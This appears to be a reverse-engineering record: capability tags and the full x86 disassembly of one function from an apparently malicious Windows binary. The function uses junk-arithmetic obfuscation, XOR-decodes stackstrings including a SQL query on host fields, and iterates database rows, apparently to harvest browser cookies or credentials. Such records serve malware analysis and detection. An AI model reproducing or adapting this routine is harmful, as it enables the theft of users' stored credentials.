Function at 0x419272
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x154
movzx eax, byte [0x42ba34]
mov dword [esp + 0xb8], ecx
mov ecx, 0x307c
add ax, cx
mov word [0x42ba00], ax
or al, 0x75
push esi
push edi
mov edi, edx
mov byte [0x42ba34], al
call fcn.00420376
movzx ecx, byte [0x42ba34]
mov esi, eax
mov eax, 0x2022
add cx, ax
mov word [0x42ba00], cx
test esi, esi
je 0x419b71
push ebx
xor ebx, ebx
mov dword [esp + 0x10], 0x3c130c45
mov dword [esp + 0x14], 0xb0f0f03
mov edx, ebx
mov dword [esp + 0x18], 0x4e130509
mov dword [esp + 0x1c], 0x90c1113
mov word [esp + 0x20], 0x514
mov al, byte [esp + edx + 0x10]
xor al, 0x60
movzx eax, al
mov word [esp + edx*2 + 0xe8], ax
inc edx
cmp edx, 0x12
jl 0x4192f0
xor eax, eax
or cl, 0xc4
add cl, 0x7f
mov word [esp + 0x10c], ax
movzx eax, cl
mov byte [0x42ba34], cl
mov ecx, 0x27b8
xor ax, cx
mov word [0x42ba00], ax
lea eax, [esp + 0xe8]
push edi
push eax
call fcn.00422d73
movzx edx, byte [0x42ba34]
mov edi, eax
pop ecx
pop ecx
mov ecx, edx
mov dword [esp + 0xb8], edi
xor ecx, 0x881c
add ecx, 0x7c9b
mov word [0x42ba00], cx
test edi, edi
je 0x419b70
xor edx, 0x3f84
mov ecx, edi
mov word [0x42ba00], dx
or dl, 0xcc
push ebp
mov byte [0x42ba34], dl
call fcn.00422e77
mov dl, byte [0x42ba34]
mov ebp, eax
movzx ecx, dl
mov eax, 0x5348
add cx, ax
mov word [0x42ba00], cx
test ebp, ebp
je 0x419b5f
add dl, 0x68
mov ecx, 0xb414
movzx eax, dl
xor edx, edx
xor ax, cx
mov ecx, ebp
mov word [0x42ba00], ax
add al, 0x73
mov byte [0x42ba34], al
call fcn.004235be
movzx edx, word [0x42ba00]
mov ecx, 0xf394
imul edx, ecx
mov ecx, 0x1fbb
mov dword [esp + 0xc4], eax
and dx, cx
mov ecx, 0x3d5d
xor dx, cx
mov word [0x42ba00], dx
test eax, eax
je 0x419b27
movzx ecx, byte [0x42ba34]
mov edx, 0x7281
sub cx, dx
mov eax, ecx
or cl, 0xcd
or eax, 0xcbbf
add cl, 6
push ebx
mov word [0x42ba00], ax
lea eax, [esp + 0xc4]
push 1
push eax
push dword [esp + 0xd0]
mov byte [0x42ba34], cl
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x419ace
mov dword [esp + 0x68], 0x4b424b5d
mov ecx, ebx
mov dword [esp + 0x6c], 0x662e5a4d
mov dword [esp + 0x70], 0x227a7d61
mov dword [esp + 0x74], 0x467d672e
mov dword [esp + 0x78], 0x417e7a7a
mov dword [esp + 0x7c], 0x22776260
mov dword [esp + 0x80], 0x7a6f7e2e
mov dword [esp + 0x84], 0x672e2266
mov dword [esp + 0x88], 0x6d6b5d7d
mov dword [esp + 0x8c], 0x226b7c7b
mov dword [esp + 0x90], 0x7e766b2e
mov dword [esp + 0x94], 0x22777c67
mov dword [esp + 0x98], 0x636f602e
mov dword [esp + 0x9c], 0x782e226b
mov dword [esp + 0xa0], 0x6b7b626f
mov dword [esp + 0xa4], 0x415c482e
mov dword [esp + 0xa8], 0x61632e43
mov dword [esp + 0xac], 0x616d5174
mov dword [esp + 0xb0], 0x6b676561
mov byte [esp + 0xb4], 0x7d
mov al, byte [esp + ecx + 0x68]
xor al, 0xe
mov byte [esp + ecx + 0x114], al
inc ecx
cmp ecx, 0x4d
jl 0x419515
mov eax, 0xea20
mov byte [esp + 0x161], bl
mov word [0x42ba00], ax
lea eax, [esp + 0x10]
push ebx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x120]
mov byte [0x42ba34], 0x60
push eax
push dword [esp + 0xd0]
call dword [esi + 8]
add esp, 0x14
test eax, eax
jne 0x419b7a
mov cl, byte [0x42ba34]
lea edi, [esp + 0x14]
push dword [esp + 0x10]
stosd dword es:[edi], eax
add cl, 0x3c
mov byte [0x42ba34], cl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, cl
mov ecx, 0x78d8
and ax, cx
mov word [0x42ba00], ax
call dword [esi + 0xc]
pop ecx
push 0x47
pop edx
cmp eax, 0x64
jne 0x41997f
mov word [esp + 0x28], 0x5356
or edi, 0xffffffff
mov word [esp + 0x2c], 9
mov ecx, ebx
mov word [esp + 0x30], 9
mov al, byte [esp + ecx + 0x28]
sub al, 0x49
mov byte [esp + ecx + 0xb8], al
inc ecx
cmp ecx, 2
jl 0x4195bb
mov al, byte [0x42ba00]
mov ecx, 0x7b6
xor al, 0xb3
mov byte [esp + 0xba], bl
mov byte [0x42ba34], al
movzx eax, al
sub ax, cx
mov ecx, 0xeb96
push ebx
push dword [esp + 0x14]
or ax, cx
mov word [0x42ba00], ax
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
or byte [0x42ba34], 0x48
push 1
push dword [esp + 0x18]
call dword [esi + 0x10]
movzx ecx, byte [0x42ba34]
mov edx, 0x4000
xor cx, dx
add esp, 0xc
mov edx, 0xc4c5
and cx, dx
test eax, eax
je 0x4196a3
cmp byte [eax], 0x31
jne 0x4196a3
mov dword [esp + 0x34], 0x64636538
mov edx, ebx
mov word [esp + 0x38], 0x3874
mov al, byte [esp + edx + 0x34]
xor al, 0x31
mov byte [esp + edx + 0xcc], al
inc edx
cmp edx, 6
jl 0x41965e
movzx eax, cl
lea edx, [esp + 0xcc]
imul eax, eax, 0x52
mov cl, 0x4a
mov byte [esp + 0xd2], bl
sub cl, al
mov eax, 0x104c
mov byte [0x42ba34], cl
movzx ecx, cl
imul ecx, eax
mov word [0x42ba00], cx
jmp 0x4196fa
mov dword [esp + 0x44], 0x414c4b04
mov edx, ebx
mov word [esp + 0x48], 0x485e
mov byte [esp + 0x4a], 4
mov al, byte [esp + edx + 0x44]
xor al, 0xd
mov byte [esp + edx + 0xdc], al
inc edx
cmp edx, 7
jl 0x4196b9
xor cl, 0xfb
mov byte [esp + 0xe3], bl
add cl, 0x1c
lea edx, [esp + 0xdc]
xor cl, 0x9f
movzx eax, cl
mov byte [0x42ba34], cl
mov ecx, 0x5af6
add ax, cx
mov word [0x42ba00], ax
push edi
lea ecx, [esp + 0x18]
call fcn.004234c5
xor byte [0x42ba34], 0x25
pop ecx
push 2
push dword [esp + 0x14]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
mov cx, word [0x42ba00]
mov al, cl
xor al, 0x37
mov byte [0x42ba34], al
mov eax, 0x469c
push 3
push dword [esp + 0x18]
xor cx, ax
mov word [0x42ba00], cx
call dword [esi + 0x10]
mov dl, byte [0x42ba00]
add esp, 0xc
sub dl, 0x65
test eax, eax
je 0x4197bf
cmp byte [eax], 0x31
jne 0x4197bf
mov dword [esp + 0x3c], 0x9b9c9ac7
mov ecx, ebx
mov word [esp + 0x40], 0xc78b
mov al, byte [esp + ecx + 0x3c]
xor al, 0xce
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 6
jl 0x41977c
movzx eax, dl
mov ecx, 0x1f2d
sub ax, cx
mov byte [esp + 0xda], bl
mov ecx, 0xa4b5
lea edx, [esp + 0xd4]
and ax, cx
mov word [0x42ba00], ax
sub al, 0x14
mov byte [0x42ba34], al
jmp 0x41981d
mov dword [esp + 0x4c], 0x474a4d02
mov ecx, ebx
mov word [esp + 0x50], 0x4e58
mov byte [esp + 0x52], 2
mov al, byte [esp + ecx + 0x4c]
xor al, 0xb
mov byte [esp + ecx + 0xe4], al
inc ecx
cmp ecx, 7
jl 0x4197d5
movzx ecx, word [0x42ba00]
mov eax, 0xeb51
imul ecx, eax
mov eax, 0xcf61
mov byte [esp + 0xeb], bl
xor cx, ax
xor dl, 0x22
mov byte [0x42ba34], dl
lea edx, [esp + 0xe4]
mov word [0x42ba00], cx
push edi
lea ecx, [esp + 0x18]
call fcn.004234c5
mov al, byte [0x42ba00]
pop ecx
push 4
push dword [esp + 0x14]
add al, 0x63
mov byte [0x42ba34], al
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
mov cx, word [0x42ba00]
lea edx, [esp + 0x30]
push edi
lea eax, [ecx + 0x43]
xor al, 0x1a
mov byte [0x42ba34], al
mov eax, 0x3798
xor cx, ax
mov word [0x42ba00], cx
lea ecx, [esp + 0x1c]
call fcn.004234c5
movzx ecx, byte [0x42ba34]
mov edx, 0x9a1b
or cx, dx
push 5
push dword [esp + 0x1c]
lea eax, [ecx + 0x61]
mov byte [0x42ba34], al
lea eax, [ecx - 0x2706]
mov word [0x42ba00], ax
call dword [esi + 0x20]
add esp, 0x10
push eax
push 5
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
mov cl, byte [0x42ba34]
mov edx, 0xefda
movzx eax, cl
add cl, 0x39
and ax, dx
mov byte [0x42ba34], cl
push edi
lea edx, [esp + 0x38]
mov word [0x42ba00], ax
lea ecx, [esp + 0x1c]
call fcn.004234c5
mov cl, byte [0x42ba34]
mov edx, 0x1339
movzx eax, cl
add cl, 0xa2
push 6
push dword [esp + 0x1c]
sub ax, dx
mov byte [0x42ba34], cl
mov word [0x42ba00], ax
call dword [esi + 0x20]
add esp, 0x10
push eax
push 6
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004234c5
mov al, byte [0x42ba00]
lea edx, [esp + 0xbc]
or al, 0x71
mov ecx, 0x735d
mov byte [0x42ba34], al
movzx eax, al
add ax, cx
lea ecx, [esp + 0x18]
push edi
mov word [0x42ba00], ax
call fcn.004234c5
push dword [esp + 0x18]
call dword [esi + 0xc]
add esp, 0xc
cmp eax, 0x64
je 0x4195ab
push 0x47
pop edx
mov cx, word [0x42ba00]
mov eax, 0x9bd9
xor cx, ax
cmp dword [esp + 0x14], ebx
je 0x419a9e
mov dword [esp + 0x54], 0x242828fc
mov dword [esp + 0x58], 0xe82c1e22
mov dword [esp + 0x5c], 0x182c25de
mov dword [esp + 0x60], 0xe72c25de
mov word [esp + 0x64], 0x312d
mov byte [esp + 0x66], 0x2d
movzx eax, byte [esp + ebx + 0x54]
add ax, dx
mov edx, 0xff
and ax, dx
mov word [esp + ebx*2 + 0x68], ax
inc ebx
push 0x47
pop edx
cmp ebx, 0x13
jl 0x4199c4
push dword [esp + 0x168]
xor eax, eax
movzx ecx, cx
push dword [esp + 0xcc]
mov word [esp + 0x96], ax
mov eax, 0xbaef
imul ecx, eax
movzx eax, cl
imul eax, eax, 0x90
mov word [0x42ba00], cx
mov byte [0x42ba34], al
lea eax, [esp + 0x70]
push eax
call fcn.00422d73
mov dl, byte [0x42ba34]
mov edi, eax
movzx ecx, dl
mov eax, 0xeefa
and cx, ax
add esp, 0xc
mov word [0x42ba00], cx
test edi, edi
je 0x419a84
xor ecx, 0xc391
add dl, 0x24
mov word [0x42ba00], cx
mov ecx, dword [esp + 0x14]
mov byte [0x42ba34], dl
mov edx, dword [esp + 0x1c]
push edi
call fcn.0041eb29
mov al, byte [0x42ba00]
sub al, 0x35
push edi
mov byte [0x42ba34], al
call fcn.004056f0
pop ecx
pop ecx
mov cx, word [0x42ba00]
push dword [esp + 0x14]
add cl, 0x65
mov byte [0x42ba34], cl
call fcn.004056f0
pop ecx
mov cx, word [0x42ba00]
mov edi, dword [esp + 0xbc]
push dword [esp + 0x10]
mov eax, 0x91e2
movzx ecx, cx
imul ecx, eax
movzx eax, byte [0x42ba34]
imul eax, eax, 0x7d
mov word [0x42ba00], cx
mov byte [0x42ba34], al
call dword [esi + 0x18]
pop ecx
mov al, byte [0x42ba34]
mov ecx, 0xc9cd
push dword [esp + 0xc0]
or al, 0x5c
movzx eax, al
or ax, cx
mov word [0x42ba00], ax
add al, 0x58
mov byte [0x42ba34], al
call dword [esi + 0x1c]
mov ax, word [0x42ba00]
mov ecx, 0x5ea1
push dword [esp + 0xc8]
mov dl, al
xor ax, cx
xor dl, 0xfd
mov word [0x42ba00], ax
or dl, 0xb5
mov byte [0x42ba34], dl
call fcn.004056f0
pop ecx
pop ecx
add byte [0x42ba34], 0x8f
xor ecx, ecx
push ebp
mov edx, 0x62d87b
inc ecx
call fcn.004155a6
call eax
add byte [0x42ba34], 0x15
mov eax, 0x2d18
add word [0x42ba00], ax
push ebp
call fcn.004056f0
pop ecx
mov cx, word [0x42ba00]
add cl, 8
push edi
mov byte [0x42ba34], cl
call fcn.004056f0
pop ecx
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x154
ret
mov cx, word [0x42ba00]
jmp 0x419aa5